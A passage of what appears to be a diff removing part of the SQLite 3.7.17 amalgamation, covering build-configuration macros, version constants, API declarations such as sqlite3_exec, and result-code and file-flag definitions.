SQLITE_SYSTEM_MALLOC // Use normal system malloc() -** SQLITE_WIN32_MALLOC // Use Win32 native heap API -** SQLITE_ZERO_MALLOC // Use a stub allocator that always fails -** SQLITE_MEMDEBUG // Debugging version of system malloc() -** -** On Windows, if the SQLITE_WIN32_MALLOC_VALIDATE macro is defined and the -** assert() macro is enabled, each call into the Win32 native heap subsystem -** will cause HeapValidate to be called. If heap validation should fail, an -** assertion will be triggered. -** -** (Historical note: There used to be several other options, but we've -** pared it down to just these three.) -** -** If none of the above are defined, then set SQLITE_SYSTEM_MALLOC as -** the default. -*/ -#if defined(SQLITE_SYSTEM_MALLOC) \ - + defined(SQLITE_WIN32_MALLOC) \ - + defined(SQLITE_ZERO_MALLOC) \ - + defined(SQLITE_MEMDEBUG)>1 -# error "Two or more of the following compile-time configuration options\ - are defined but at most one is allowed:\ - SQLITE_SYSTEM_MALLOC, SQLITE_WIN32_MALLOC, SQLITE_MEMDEBUG,\ - SQLITE_ZERO_MALLOC" -#endif -#if defined(SQLITE_SYSTEM_MALLOC) \ - + defined(SQLITE_WIN32_MALLOC) \ - + defined(SQLITE_ZERO_MALLOC) \ - + defined(SQLITE_MEMDEBUG)==0 -# define SQLITE_SYSTEM_MALLOC 1 -#endif - -/* -** If SQLITE_MALLOC_SOFT_LIMIT is not zero, then try to keep the -** sizes of memory allocations below this value where possible. -*/ -#if !defined(SQLITE_MALLOC_SOFT_LIMIT) -# define SQLITE_MALLOC_SOFT_LIMIT 1024 -#endif - -/* -** We need to define _XOPEN_SOURCE as follows in order to enable -** recursive mutexes on most Unix systems. But Mac OS X is different. -** The _XOPEN_SOURCE define causes problems for Mac OS X we are told, -** so it is omitted there. See ticket #2673. -** -** Later we learn that _XOPEN_SOURCE is poorly or incorrectly -** implemented on some systems. So we avoid defining it at all -** if it is already defined or if it is unneeded because we are -** not doing a threadsafe build. Ticket #2681. -** -** See also ticket #2741. -*/ -#if !defined(_XOPEN_SOURCE) && !defined(__DARWIN__) \ - && !defined(__APPLE__) && SQLITE_THREADSAFE -# define _XOPEN_SOURCE 500 /* Needed to enable pthread recursive mutexes */ -#endif - -/* -** The TCL headers are only needed when compiling the TCL bindings. -*/ -#if defined(SQLITE_TCL) || defined(TCLSH) -# include -#endif - -/* -** NDEBUG and SQLITE_DEBUG are opposites. It should always be true that -** defined(NDEBUG)==!defined(SQLITE_DEBUG). If this is not currently true, -** make it true by defining or undefining NDEBUG. -** -** Setting NDEBUG makes the code smaller and run faster by disabling the -** number assert() statements in the code. So we want the default action -** to be for NDEBUG to be set and NDEBUG to be undefined only if SQLITE_DEBUG -** is set. Thus NDEBUG becomes an opt-in rather than an opt-out -** feature. -*/ -#if !defined(NDEBUG) && !defined(SQLITE_DEBUG) -# define NDEBUG 1 -#endif -#if defined(NDEBUG) && defined(SQLITE_DEBUG) -# undef NDEBUG -#endif - -/* -** The testcase() macro is used to aid in coverage testing. When -** doing coverage testing, the condition inside the argument to -** testcase() must be evaluated both true and false in order to -** get full branch coverage. The testcase() macro is inserted -** to help ensure adequate test coverage in places where simple -** condition/decision coverage is inadequate. For example, testcase() -** can be used to make sure boundary values are tested. For -** bitmask tests, testcase() can be used to make sure each bit -** is significant and used at least once. On switch statements -** where multiple cases go to the same block of code, testcase() -** can insure that all cases are evaluated. -** -*/ -#ifdef SQLITE_COVERAGE_TEST -SQLITE_PRIVATE void sqlite3Coverage(int); -# define testcase(X) if( X ){ sqlite3Coverage(__LINE__); } -#else -# define testcase(X) -#endif - -/* -** The TESTONLY macro is used to enclose variable declarations or -** other bits of code that are needed to support the arguments -** within testcase() and assert() macros. -*/ -#if !defined(NDEBUG) || defined(SQLITE_COVERAGE_TEST) -# define TESTONLY(X) X -#else -# define TESTONLY(X) -#endif - -/* -** Sometimes we need a small amount of code such as a variable initialization -** to setup for a later assert() statement. We do not want this code to -** appear when assert() is disabled. The following macro is therefore -** used to contain that setup code. The "VVA" acronym stands for -** "Verification, Validation, and Accreditation". In other words, the -** code within VVA_ONLY() will only run during verification processes. -*/ -#ifndef NDEBUG -# define VVA_ONLY(X) X -#else -# define VVA_ONLY(X) -#endif - -/* -** The ALWAYS and NEVER macros surround boolean expressions which -** are intended to always be true or false, respectively. Such -** expressions could be omitted from the code completely. But they -** are included in a few cases in order to enhance the resilience -** of SQLite to unexpected behavior - to make the code "self-healing" -** or "ductile" rather than being "brittle" and crashing at the first -** hint of unplanned behavior. -** -** In other words, ALWAYS and NEVER are added for defensive code. -** -** When doing coverage testing ALWAYS and NEVER are hard-coded to -** be true and false so that the unreachable code then specify will -** not be counted as untested code. -*/ -#if defined(SQLITE_COVERAGE_TEST) -# define ALWAYS(X) (1) -# define NEVER(X) (0) -#elif !defined(NDEBUG) -# define ALWAYS(X) ((X)?1:(assert(0),0)) -# define NEVER(X) ((X)?(assert(0),1):0) -#else -# define ALWAYS(X) (X) -# define NEVER(X) (X) -#endif - -/* -** Return true (non-zero) if the input is a integer that is too large -** to fit in 32-bits. This macro is used inside of various testcase() -** macros to verify that we have tested SQLite for large-file support. -*/ -#define IS_BIG_INT(X) (((X)&~(i64)0xffffffff)!=0) - -/* -** The macro unlikely() is a hint that surrounds a boolean -** expression that is usually false. Macro likely() surrounds -** a boolean expression that is usually true. GCC is able to -** use these hints to generate better code, sometimes. -*/ -#if defined(__GNUC__) && 0 -# define likely(X) __builtin_expect((X),1) -# define unlikely(X) __builtin_expect((X),0) -#else -# define likely(X) !!(X) -# define unlikely(X) !!(X) -#endif - -/************** Include sqlite3.h in the middle of sqliteInt.h ***************/ -/************** Begin file sqlite3.h *****************************************/ -/* -** 2001 September 15 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** This header file defines the interface that the SQLite library -** presents to client programs. If a C-function, structure, datatype, -** or constant definition does not appear in this file, then it is -** not a published API of SQLite, is subject to change without -** notice, and should not be referenced by programs that use SQLite. -** -** Some of the definitions that are in this file are marked as -** "experimental". Experimental interfaces are normally new -** features recently added to SQLite. We do not anticipate changes -** to experimental interfaces but reserve the right to make minor changes -** if experience from use "in the wild" suggest such changes are prudent. -** -** The official C-language API documentation for SQLite is derived -** from comments in this file. This file is the authoritative source -** on how SQLite interfaces are suppose to operate. -** -** The name of this file under configuration management is "sqlite.h.in". -** The makefile makes some minor changes to this file (such as inserting -** the version number) and changes its name to "sqlite3.h" as -** part of the build process. -*/ -#ifndef _SQLITE3_H_ -#define _SQLITE3_H_ -#include /* Needed for the definition of va_list */ - -/* -** Make sure we can call this stuff from C++. -*/ -#if 0 -extern "C" { -#endif - - -/* -** Add the ability to override 'extern' -*/ -#ifndef SQLITE_EXTERN -# define SQLITE_EXTERN extern -#endif - -#ifndef SQLITE_API -# define SQLITE_API -#endif - - -/* -** These no-op macros are used in front of interfaces to mark those -** interfaces as either deprecated or experimental. New applications -** should not use deprecated interfaces - they are support for backwards -** compatibility only. Application writers should be aware that -** experimental interfaces are subject to change in point releases. -** -** These macros used to resolve to various kinds of compiler magic that -** would generate warning messages when they were used. But that -** compiler magic ended up generating such a flurry of bug reports -** that we have taken it all out and gone back to using simple -** noop macros. -*/ -#define SQLITE_DEPRECATED -#define SQLITE_EXPERIMENTAL - -/* -** Ensure these symbols were not defined by some previous header file. -*/ -#ifdef SQLITE_VERSION -# undef SQLITE_VERSION -#endif -#ifdef SQLITE_VERSION_NUMBER -# undef SQLITE_VERSION_NUMBER -#endif - -/* -** CAPI3REF: Compile-Time Library Version Numbers -** -** ^(The [SQLITE_VERSION] C preprocessor macro in the sqlite3.h header -** evaluates to a string literal that is the SQLite version in the -** format "X.Y.Z" where X is the major version number (always 3 for -** SQLite3) and Y is the minor version number and Z is the release number.)^ -** ^(The [SQLITE_VERSION_NUMBER] C preprocessor macro resolves to an integer -** with the value (X*1000000 + Y*1000 + Z) where X, Y, and Z are the same -** numbers used in [SQLITE_VERSION].)^ -** The SQLITE_VERSION_NUMBER for any given release of SQLite will also -** be larger than the release from which it is derived. Either Y will -** be held constant and Z will be incremented or else Y will be incremented -** and Z will be reset to zero. -** -** Since version 3.6.18, SQLite source code has been stored in the -** Fossil configuration management -** system. ^The SQLITE_SOURCE_ID macro evaluates to -** a string which identifies a particular check-in of SQLite -** within its configuration management system. ^The SQLITE_SOURCE_ID -** string contains the date and time of the check-in (UTC) and an SHA1 -** hash of the entire source tree. -** -** See also: [sqlite3_libversion()], -** [sqlite3_libversion_number()], [sqlite3_sourceid()], -** [sqlite_version()] and [sqlite_source_id()]. -*/ -#define SQLITE_VERSION "3.7.17" -#define SQLITE_VERSION_NUMBER 3007017 -#define SQLITE_SOURCE_ID "2013-05-20 00:56:22 118a3b35693b134d56ebd780123b7fd6f1497668" - -/* -** CAPI3REF: Run-Time Library Version Numbers -** KEYWORDS: sqlite3_version, sqlite3_sourceid -** -** These interfaces provide the same information as the [SQLITE_VERSION], -** [SQLITE_VERSION_NUMBER], and [SQLITE_SOURCE_ID] C preprocessor macros -** but are associated with the library instead of the header file. ^(Cautious -** programmers might include assert() statements in their application to -** verify that values returned by these interfaces match the macros in -** the header, and thus insure that the application is -** compiled with matching library and header files. -** -** 

-** assert( sqlite3_libversion_number()==SQLITE_VERSION_NUMBER );
-** assert( strcmp(sqlite3_sourceid(),SQLITE_SOURCE_ID)==0 );
-** assert( strcmp(sqlite3_libversion(),SQLITE_VERSION)==0 );
-**
)^ -** -** ^The sqlite3_version[] string constant contains the text of [SQLITE_VERSION] -** macro. ^The sqlite3_libversion() function returns a pointer to the -** to the sqlite3_version[] string constant. The sqlite3_libversion() -** function is provided for use in DLLs since DLL users usually do not have -** direct access to string constants within the DLL. ^The -** sqlite3_libversion_number() function returns an integer equal to -** [SQLITE_VERSION_NUMBER]. ^The sqlite3_sourceid() function returns -** a pointer to a string constant whose value is the same as the -** [SQLITE_SOURCE_ID] C preprocessor macro. -** -** See also: [sqlite_version()] and [sqlite_source_id()]. -*/ -SQLITE_API const char sqlite3_version[] = SQLITE_VERSION; -SQLITE_API const char *sqlite3_libversion(void); -SQLITE_API const char *sqlite3_sourceid(void); -SQLITE_API int sqlite3_libversion_number(void); - -/* -** CAPI3REF: Run-Time Library Compilation Options Diagnostics -** -** ^The sqlite3_compileoption_used() function returns 0 or 1 -** indicating whether the specified option was defined at -** compile time. ^The SQLITE_ prefix may be omitted from the -** option name passed to sqlite3_compileoption_used(). -** -** ^The sqlite3_compileoption_get() function allows iterating -** over the list of options that were defined at compile time by -** returning the N-th compile time option string. ^If N is out of range, -** sqlite3_compileoption_get() returns a NULL pointer. ^The SQLITE_ -** prefix is omitted from any strings returned by -** sqlite3_compileoption_get(). -** -** ^Support for the diagnostic functions sqlite3_compileoption_used() -** and sqlite3_compileoption_get() may be omitted by specifying the -** [SQLITE_OMIT_COMPILEOPTION_DIAGS] option at compile time. -** -** See also: SQL functions [sqlite_compileoption_used()] and -** [sqlite_compileoption_get()] and the [compile_options pragma]. -*/ -#ifndef SQLITE_OMIT_COMPILEOPTION_DIAGS -SQLITE_API int sqlite3_compileoption_used(const char *zOptName); -SQLITE_API const char *sqlite3_compileoption_get(int N); -#endif - -/* -** CAPI3REF: Test To See If The Library Is Threadsafe -** -** ^The sqlite3_threadsafe() function returns zero if and only if -** SQLite was compiled with mutexing code omitted due to the -** [SQLITE_THREADSAFE] compile-time option being set to 0. -** -** SQLite can be compiled with or without mutexes. When -** the [SQLITE_THREADSAFE] C preprocessor macro is 1 or 2, mutexes -** are enabled and SQLite is threadsafe. When the -** [SQLITE_THREADSAFE] macro is 0, -** the mutexes are omitted. Without the mutexes, it is not safe -** to use SQLite concurrently from more than one thread. -** -** Enabling mutexes incurs a measurable performance penalty. -** So if speed is of utmost importance, it makes sense to disable -** the mutexes. But for maximum safety, mutexes should be enabled. -** ^The default behavior is for mutexes to be enabled. -** -** This interface can be used by an application to make sure that the -** version of SQLite that it is linking against was compiled with -** the desired setting of the [SQLITE_THREADSAFE] macro. -** -** This interface only reports on the compile-time mutex setting -** of the [SQLITE_THREADSAFE] flag. If SQLite is compiled with -** SQLITE_THREADSAFE=1 or =2 then mutexes are enabled by default but -** can be fully or partially disabled using a call to [sqlite3_config()] -** with the verbs [SQLITE_CONFIG_SINGLETHREAD], [SQLITE_CONFIG_MULTITHREAD], -** or [SQLITE_CONFIG_MUTEX]. ^(The return value of the -** sqlite3_threadsafe() function shows only the compile-time setting of -** thread safety, not any run-time changes to that setting made by -** sqlite3_config(). In other words, the return value from sqlite3_threadsafe() -** is unchanged by calls to sqlite3_config().)^ -** -** See the [threading mode] documentation for additional information. -*/ -SQLITE_API int sqlite3_threadsafe(void); - -/* -** CAPI3REF: Database Connection Handle -** KEYWORDS: {database connection} {database connections} -** -** Each open SQLite database is represented by a pointer to an instance of -** the opaque structure named "sqlite3". It is useful to think of an sqlite3 -** pointer as an object. The [sqlite3_open()], [sqlite3_open16()], and -** [sqlite3_open_v2()] interfaces are its constructors, and [sqlite3_close()] -** and [sqlite3_close_v2()] are its destructors. There are many other -** interfaces (such as -** [sqlite3_prepare_v2()], [sqlite3_create_function()], and -** [sqlite3_busy_timeout()] to name but three) that are methods on an -** sqlite3 object. -*/ -typedef struct sqlite3 sqlite3; - -/* -** CAPI3REF: 64-Bit Integer Types -** KEYWORDS: sqlite_int64 sqlite_uint64 -** -** Because there is no cross-platform way to specify 64-bit integer types -** SQLite includes typedefs for 64-bit signed and unsigned integers. -** -** The sqlite3_int64 and sqlite3_uint64 are the preferred type definitions. -** The sqlite_int64 and sqlite_uint64 types are supported for backwards -** compatibility only. -** -** ^The sqlite3_int64 and sqlite_int64 types can store integer values -** between -9223372036854775808 and +9223372036854775807 inclusive. ^The -** sqlite3_uint64 and sqlite_uint64 types can store integer values -** between 0 and +18446744073709551615 inclusive. -*/ -#ifdef SQLITE_INT64_TYPE - typedef SQLITE_INT64_TYPE sqlite_int64; - typedef unsigned SQLITE_INT64_TYPE sqlite_uint64; -#elif defined(_MSC_VER) || defined(__BORLANDC__) - typedef __int64 sqlite_int64; - typedef unsigned __int64 sqlite_uint64; -#else - typedef long long int sqlite_int64; - typedef unsigned long long int sqlite_uint64; -#endif -typedef sqlite_int64 sqlite3_int64; -typedef sqlite_uint64 sqlite3_uint64; - -/* -** If compiling for a processor that lacks floating point support, -** substitute integer for floating-point. -*/ -#ifdef SQLITE_OMIT_FLOATING_POINT -# define double sqlite3_int64 -#endif - -/* -** CAPI3REF: Closing A Database Connection -** -** ^The sqlite3_close() and sqlite3_close_v2() routines are destructors -** for the [sqlite3] object. -** ^Calls to sqlite3_close() and sqlite3_close_v2() return SQLITE_OK if -** the [sqlite3] object is successfully destroyed and all associated -** resources are deallocated. -** -** ^If the database connection is associated with unfinalized prepared -** statements or unfinished sqlite3_backup objects then sqlite3_close() -** will leave the database connection open and return [SQLITE_BUSY]. -** ^If sqlite3_close_v2() is called with unfinalized prepared statements -** and unfinished sqlite3_backups, then the database connection becomes -** an unusable "zombie" which will automatically be deallocated when the -** last prepared statement is finalized or the last sqlite3_backup is -** finished. The sqlite3_close_v2() interface is intended for use with -** host languages that are garbage collected, and where the order in which -** destructors are called is arbitrary. -** -** Applications should [sqlite3_finalize | finalize] all [prepared statements], -** [sqlite3_blob_close | close] all [BLOB handles], and -** [sqlite3_backup_finish | finish] all [sqlite3_backup] objects associated -** with the [sqlite3] object prior to attempting to close the object. ^If -** sqlite3_close_v2() is called on a [database connection] that still has -** outstanding [prepared statements], [BLOB handles], and/or -** [sqlite3_backup] objects then it returns SQLITE_OK but the deallocation -** of resources is deferred until all [prepared statements], [BLOB handles], -** and [sqlite3_backup] objects are also destroyed. -** -** ^If an [sqlite3] object is destroyed while a transaction is open, -** the transaction is automatically rolled back. -** -** The C parameter to [sqlite3_close(C)] and [sqlite3_close_v2(C)] -** must be either a NULL -** pointer or an [sqlite3] object pointer obtained -** from [sqlite3_open()], [sqlite3_open16()], or -** [sqlite3_open_v2()], and not previously closed. -** ^Calling sqlite3_close() or sqlite3_close_v2() with a NULL pointer -** argument is a harmless no-op. -*/ -SQLITE_API int sqlite3_close(sqlite3*); -SQLITE_API int sqlite3_close_v2(sqlite3*); - -/* -** The type for a callback function. -** This is legacy and deprecated. It is included for historical -** compatibility and is not documented. -*/ -typedef int (*sqlite3_callback)(void*,int,char**, char**); - -/* -** CAPI3REF: One-Step Query Execution Interface -** -** The sqlite3_exec() interface is a convenience wrapper around -** [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()], -** that allows an application to run multiple statements of SQL -** without having to use a lot of C code. -** -** ^The sqlite3_exec() interface runs zero or more UTF-8 encoded, -** semicolon-separate SQL statements passed into its 2nd argument, -** in the context of the [database connection] passed in as its 1st -** argument. ^If the callback function of the 3rd argument to -** sqlite3_exec() is not NULL, then it is invoked for each result row -** coming out of the evaluated SQL statements. ^The 4th argument to -** sqlite3_exec() is relayed through to the 1st argument of each -** callback invocation. ^If the callback pointer to sqlite3_exec() -** is NULL, then no callback is ever invoked and result rows are -** ignored. -** -** ^If an error occurs while evaluating the SQL statements passed into -** sqlite3_exec(), then execution of the current statement stops and -** subsequent statements are skipped. ^If the 5th parameter to sqlite3_exec() -** is not NULL then any error message is written into memory obtained -** from [sqlite3_malloc()] and passed back through the 5th parameter. -** To avoid memory leaks, the application should invoke [sqlite3_free()] -** on error message strings returned through the 5th parameter of -** of sqlite3_exec() after the error message string is no longer needed. -** ^If the 5th parameter to sqlite3_exec() is not NULL and no errors -** occur, then sqlite3_exec() sets the pointer in its 5th parameter to -** NULL before returning. -** -** ^If an sqlite3_exec() callback returns non-zero, the sqlite3_exec() -** routine returns SQLITE_ABORT without invoking the callback again and -** without running any subsequent SQL statements. -** -** ^The 2nd argument to the sqlite3_exec() callback function is the -** number of columns in the result. ^The 3rd argument to the sqlite3_exec() -** callback is an array of pointers to strings obtained as if from -** [sqlite3_column_text()], one for each column. ^If an element of a -** result row is NULL then the corresponding string pointer for the -** sqlite3_exec() callback is a NULL pointer. ^The 4th argument to the -** sqlite3_exec() callback is an array of pointers to strings where each -** entry represents the name of corresponding result column as obtained -** from [sqlite3_column_name()]. -** -** ^If the 2nd parameter to sqlite3_exec() is a NULL pointer, a pointer -** to an empty string, or a pointer that contains only whitespace and/or -** SQL comments, then no SQL statements are evaluated and the database -** is not changed. -** -** Restrictions: -** -**
    -**
  • The application must insure that the 1st parameter to sqlite3_exec() -** is a valid and open [database connection]. -**
  • The application must not close [database connection] specified by -** the 1st parameter to sqlite3_exec() while sqlite3_exec() is running. -**
  • The application must not modify the SQL statement text passed into -** the 2nd parameter of sqlite3_exec() while sqlite3_exec() is running. -**
-*/ -SQLITE_API int sqlite3_exec( - sqlite3*, /* An open database */ - const char *sql, /* SQL to be evaluated */ - int (*callback)(void*,int,char**,char**), /* Callback function */ - void *, /* 1st argument to callback */ - char **errmsg /* Error msg written here */ -); - -/* -** CAPI3REF: Result Codes -** KEYWORDS: SQLITE_OK {error code} {error codes} -** KEYWORDS: {result code} {result codes} -** -** Many SQLite functions return an integer result code from the set shown -** here in order to indicate success or failure. -** -** New error codes may be added in future versions of SQLite. -** -** See also: [SQLITE_IOERR_READ | extended result codes], -** [sqlite3_vtab_on_conflict()] [SQLITE_ROLLBACK | result codes]. -*/ -#define SQLITE_OK 0 /* Successful result */ -/* beginning-of-error-codes */ -#define SQLITE_ERROR 1 /* SQL error or missing database */ -#define SQLITE_INTERNAL 2 /* Internal logic error in SQLite */ -#define SQLITE_PERM 3 /* Access permission denied */ -#define SQLITE_ABORT 4 /* Callback routine requested an abort */ -#define SQLITE_BUSY 5 /* The database file is locked */ -#define SQLITE_LOCKED 6 /* A table in the database is locked */ -#define SQLITE_NOMEM 7 /* A malloc() failed */ -#define SQLITE_READONLY 8 /* Attempt to write a readonly database */ -#define SQLITE_INTERRUPT 9 /* Operation terminated by sqlite3_interrupt()*/ -#define SQLITE_IOERR 10 /* Some kind of disk I/O error occurred */ -#define SQLITE_CORRUPT 11 /* The database disk image is malformed */ -#define SQLITE_NOTFOUND 12 /* Unknown opcode in sqlite3_file_control() */ -#define SQLITE_FULL 13 /* Insertion failed because database is full */ -#define SQLITE_CANTOPEN 14 /* Unable to open the database file */ -#define SQLITE_PROTOCOL 15 /* Database lock protocol error */ -#define SQLITE_EMPTY 16 /* Database is empty */ -#define SQLITE_SCHEMA 17 /* The database schema changed */ -#define SQLITE_TOOBIG 18 /* String or BLOB exceeds size limit */ -#define SQLITE_CONSTRAINT 19 /* Abort due to constraint violation */ -#define SQLITE_MISMATCH 20 /* Data type mismatch */ -#define SQLITE_MISUSE 21 /* Library used incorrectly */ -#define SQLITE_NOLFS 22 /* Uses OS features not supported on host */ -#define SQLITE_AUTH 23 /* Authorization denied */ -#define SQLITE_FORMAT 24 /* Auxiliary database format error */ -#define SQLITE_RANGE 25 /* 2nd parameter to sqlite3_bind out of range */ -#define SQLITE_NOTADB 26 /* File opened that is not a database file */ -#define SQLITE_NOTICE 27 /* Notifications from sqlite3_log() */ -#define SQLITE_WARNING 28 /* Warnings from sqlite3_log() */ -#define SQLITE_ROW 100 /* sqlite3_step() has another row ready */ -#define SQLITE_DONE 101 /* sqlite3_step() has finished executing */ -/* end-of-error-codes */ - -/* -** CAPI3REF: Extended Result Codes -** KEYWORDS: {extended error code} {extended error codes} -** KEYWORDS: {extended result code} {extended result codes} -** -** In its default configuration, SQLite API routines return one of 26 integer -** [SQLITE_OK | result codes]. However, experience has shown that many of -** these result codes are too coarse-grained. They do not provide as -** much information about problems as programmers might like. In an effort to -** address this, newer versions of SQLite (version 3.3.8 and later) include -** support for additional result codes that provide more detailed information -** about errors. The extended result codes are enabled or disabled -** on a per database connection basis using the -** [sqlite3_extended_result_codes()] API. -** -** Some of the available extended result codes are listed here. -** One may expect the number of extended result codes will be expand -** over time. Software that uses extended result codes should expect -** to see new result codes in future releases of SQLite. -** -** The SQLITE_OK result code will never be extended. It will always -** be exactly zero. -*/ -#define SQLITE_IOERR_READ (SQLITE_IOERR | (1<<8)) -#define SQLITE_IOERR_SHORT_READ (SQLITE_IOERR | (2<<8)) -#define SQLITE_IOERR_WRITE (SQLITE_IOERR | (3<<8)) -#define SQLITE_IOERR_FSYNC (SQLITE_IOERR | (4<<8)) -#define SQLITE_IOERR_DIR_FSYNC (SQLITE_IOERR | (5<<8)) -#define SQLITE_IOERR_TRUNCATE (SQLITE_IOERR | (6<<8)) -#define SQLITE_IOERR_FSTAT (SQLITE_IOERR | (7<<8)) -#define SQLITE_IOERR_UNLOCK (SQLITE_IOERR | (8<<8)) -#define SQLITE_IOERR_RDLOCK (SQLITE_IOERR | (9<<8)) -#define SQLITE_IOERR_DELETE (SQLITE_IOERR | (10<<8)) -#define SQLITE_IOERR_BLOCKED (SQLITE_IOERR | (11<<8)) -#define SQLITE_IOERR_NOMEM (SQLITE_IOERR | (12<<8)) -#define SQLITE_IOERR_ACCESS (SQLITE_IOERR | (13<<8)) -#define SQLITE_IOERR_CHECKRESERVEDLOCK (SQLITE_IOERR | (14<<8)) -#define SQLITE_IOERR_LOCK (SQLITE_IOERR | (15<<8)) -#define SQLITE_IOERR_CLOSE (SQLITE_IOERR | (16<<8)) -#define SQLITE_IOERR_DIR_CLOSE (SQLITE_IOERR | (17<<8)) -#define SQLITE_IOERR_SHMOPEN (SQLITE_IOERR | (18<<8)) -#define SQLITE_IOERR_SHMSIZE (SQLITE_IOERR | (19<<8)) -#define SQLITE_IOERR_SHMLOCK (SQLITE_IOERR | (20<<8)) -#define SQLITE_IOERR_SHMMAP (SQLITE_IOERR | (21<<8)) -#define SQLITE_IOERR_SEEK (SQLITE_IOERR | (22<<8)) -#define SQLITE_IOERR_DELETE_NOENT (SQLITE_IOERR | (23<<8)) -#define SQLITE_IOERR_MMAP (SQLITE_IOERR | (24<<8)) -#define SQLITE_LOCKED_SHAREDCACHE (SQLITE_LOCKED | (1<<8)) -#define SQLITE_BUSY_RECOVERY (SQLITE_BUSY | (1<<8)) -#define SQLITE_CANTOPEN_NOTEMPDIR (SQLITE_CANTOPEN | (1<<8)) -#define SQLITE_CANTOPEN_ISDIR (SQLITE_CANTOPEN | (2<<8)) -#define SQLITE_CANTOPEN_FULLPATH (SQLITE_CANTOPEN | (3<<8)) -#define SQLITE_CORRUPT_VTAB (SQLITE_CORRUPT | (1<<8)) -#define SQLITE_READONLY_RECOVERY (SQLITE_READONLY | (1<<8)) -#define SQLITE_READONLY_CANTLOCK (SQLITE_READONLY | (2<<8)) -#define SQLITE_READONLY_ROLLBACK (SQLITE_READONLY | (3<<8)) -#define SQLITE_ABORT_ROLLBACK (SQLITE_ABORT | (2<<8)) -#define SQLITE_CONSTRAINT_CHECK (SQLITE_CONSTRAINT | (1<<8)) -#define SQLITE_CONSTRAINT_COMMITHOOK (SQLITE_CONSTRAINT | (2<<8)) -#define SQLITE_CONSTRAINT_FOREIGNKEY (SQLITE_CONSTRAINT | (3<<8)) -#define SQLITE_CONSTRAINT_FUNCTION (SQLITE_CONSTRAINT | (4<<8)) -#define SQLITE_CONSTRAINT_NOTNULL (SQLITE_CONSTRAINT | (5<<8)) -#define SQLITE_CONSTRAINT_PRIMARYKEY (SQLITE_CONSTRAINT | (6<<8)) -#define SQLITE_CONSTRAINT_TRIGGER (SQLITE_CONSTRAINT | (7<<8)) -#define SQLITE_CONSTRAINT_UNIQUE (SQLITE_CONSTRAINT | (8<<8)) -#define SQLITE_CONSTRAINT_VTAB (SQLITE_CONSTRAINT | (9<<8)) -#define SQLITE_NOTICE_RECOVER_WAL (SQLITE_NOTICE | (1<<8)) -#define SQLITE_NOTICE_RECOVER_ROLLBACK (SQLITE_NOTICE | (2<<8)) - -/* -** CAPI3REF: Flags For File Open Operations -** -** These bit values are intended for use in the -** 3rd parameter to the [sqlite3_open_v2()] interface and -** in the 4th parameter to the [sqlite3_vfs.xOpen] method. -*/ -#define SQLITE_OPEN_READONLY 0x00000001 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_READWRITE 0x00000002 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_CREATE 0x00000004 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_DELETEONCLOSE 0x00000008 /* VFS only */ -#define SQLITE_OPEN_EXCLUSIVE 0x00000010 /* VFS only */ -#define SQLITE_OPEN_AUTOPROXY 0x00000020 /* VFS only */ -#define SQLITE_OPEN_URI 0x00000040 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_MEMORY 0x00000080 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_MAIN_DB 0x00000100 /* VFS only */ -#define SQLITE_OPEN_TEMP_DB 0x00000200 /* VFS only */ -#define SQLITE_OPEN_TRANSIENT_DB 0x00000400 /* VFS only */ -#define SQLITE_OPEN_MAIN_JOURNAL 0x00000800 /* VFS only */ -#define SQLITE_OPEN_TEMP_JOURNAL 0x00001000 /* VFS only */ -#define SQLITE_OPEN_SUBJOURNAL 0x00002000 /* VFS only */ -#define SQLITE_OPEN_MASTER_JOURNAL 0x00004000 /* VFS only */ -#define SQLITE_OPEN_NOMUTEX 0x00008000 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_FULLMUTEX 0x00010000 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_SHAREDCACHE 0x00020000 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_PRIVATECACHE 0x00040000 /* Ok for sqlite3_open_v2() */ -#define SQLITE_OPEN_WAL 0x00080000 /* VFS only */ - -/* Reserved: 0x00F00000 */ - -/* -** CAPI3REF: Device Characteristics -** -** The xDeviceCharacteristics method of the [sqlite3_io_methods] -** object returns an integer which is a vector of these -** bit values expressing I/O characteristics of the mass storage -** device that holds the file that the [sqlite3_io_methods] -** refers to. -** -** The SQLITE_IOCAP_ATOMIC property means that all writes of -** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values -** mean that writes of blocks that are nnn bytes in size and -** are aligned to an address which is an integer multiple of -** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means -** that when data is appended to a file, the data is appended -** first then the size of the file is extended, never the other -** way around. The SQLITE_IOCAP_SEQUENTIAL property means that -** information is written to disk in the same order as calls -** to xWrite(). The SQLITE_IOCAP_POWERSAFE_OVERWRITE property means that -** after reboot following a crash or power loss, the only bytes in a -** file that were written at the application level might have changed -** and that adjacent bytes, even bytes within the same sector are -** guaranteed to be unchanged. -*/ -#define SQLITE_IOCAP_ATOMIC 0x00000001 -#define SQLITE_IOCAP_ATOMIC512 0x00000002 -#define SQLITE_IOCAP_ATOMIC1K 0x00000004 -#define SQLITE_IOCAP_ATOMIC2K 0x00000008 -#define SQLITE_IOCAP_ATOMIC4K 0x00000010 -#define SQLITE_IOCAP_ATOMIC8K 0x00000020 -#define SQLITE_IOCAP_ATOMIC16K 0x00000040 -#define SQLITE_IOCAP_ATOMIC32K 0x00000080 -#define SQLITE_IOCAP_ATOMIC64K 0x00000100 -#define SQLITE_IOCAP_SAFE_APPEND 0x00000200 -#define SQLITE_IOCAP_SEQUENTIAL 0x00000400 -#define SQLITE_IOCAP_UNDELETABLE_WHEN_OPEN 0x00000800 -#define SQLITE_IOCAP_POWERSAFE_OVERWRITE 0x00001000 - -/* -** CAPI3REF: File Locking Levels -** -** SQLite uses one of these integer values as the second -** argument to calls it makes to the xLock() and xUnlock() methods -** of an [sqlite3_io_methods] object. -*/ -#define SQLITE_LOCK_NONE 0 -#define SQLITE_LOCK_SHARED 1 -#define SQLITE_LOCK_RESERVED 2 -#define SQLITE_LOCK_PENDING 3 -#define SQLITE_LOCK_EXCLUSIVE 4 - -/* -** CAPI3REF: Synchronization Type 